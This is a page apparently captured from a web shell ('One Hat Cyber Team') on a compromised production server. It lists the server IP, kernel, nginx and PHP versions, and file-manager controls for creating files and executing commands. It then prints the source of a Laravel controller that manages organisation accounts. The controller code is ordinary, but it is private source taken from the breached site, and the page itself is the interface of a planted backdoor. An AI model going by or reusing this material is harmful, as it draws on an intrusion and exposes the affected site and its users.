One Hat Cyber Team
Your IP :
3.19.75.187
Server IP :
104.21.80.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
app.gftag.com
/
app
/
Http
/
Controllers
/
View File Name :
OrganisationController.php
<?php namespace App\Http\Controllers; use App\Models\Organisation; use App\Models\User; use Illuminate\Http\Request; use App\Models\State; use Illuminate\Support\Facades\View; use Illuminate\Support\Facades\Hash; use function Laravel\Prompts\password; class OrganisationController extends Controller { public function organisationView(Request $request){ if (View::exists('organisation.index')) { $organisations = Organisation::all(); return view('organisation.index', ['organisations' => $organisations]); } } public function createOrganisation(Request $request){ if (View::exists('organisation.create')) { $states = State::where('status', 'enable')->get(); return view('organisation.create', ['states' => $states]); } } public function store(Request $request){ $validated = $request->validate([ 'name' => 'required', 'email' => 'required', 'phone' => 'required', 'address' => 'required', 'gst_no' => 'required', 'password' => 'required', 'state' => 'required', 'pan' => 'required', ]); $user = User::create([ 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), 'pan' => $request->pan ]); $user->assignRole('organizer'); $user_id = $user->id; Organisation::create([ 'user_id' => $user_id, 'state_id' => $request->state, 'name' => $request->name, 'email' => $request->email, 'phone' => $request->phone, 'address' => $request->address, 'gst_no' => $request->gst_no, 'pan' => $request->pan ]); return redirect()->back()->with('message', 'Organisation created successfully !'); } public function editOrganisation($id){ if (View::exists('organisation.edit')) { $organisation = Organisation::findOrFail($id); $states = State::where('status', 'enable')->get(); return view('organisation.edit', ['organisation' => $organisation, 'states' => $states]); } } public function update(Request $request){ $validated = $request->validate([ 'name' => 'required', 'email' => 'required', 'phone' => 'required', 'address' => 'required', 'gst_no' => 'required', 'state' => 'required', 'pan' => 'required' ]); $organization = Organisation::find($request->id); if(!empty($request->get('password'))){ // retrieving the associated User $user = $organization->user; $user->password = Hash::make($request->password); $user->pan = $request->pan; $user->save(); } $organization->name = $request->name; $organization->email = $request->email; $organization->phone = $request->phone; $organization->phone = $request->phone; $organization->address = $request->address; $organization->gst_no = $request->gst_no; $organization->state_id = $request->state; $organization->pan = $request->pan; $organization->save(); return redirect()->back()->with('message', 'Organisation Updated successfully !'); } }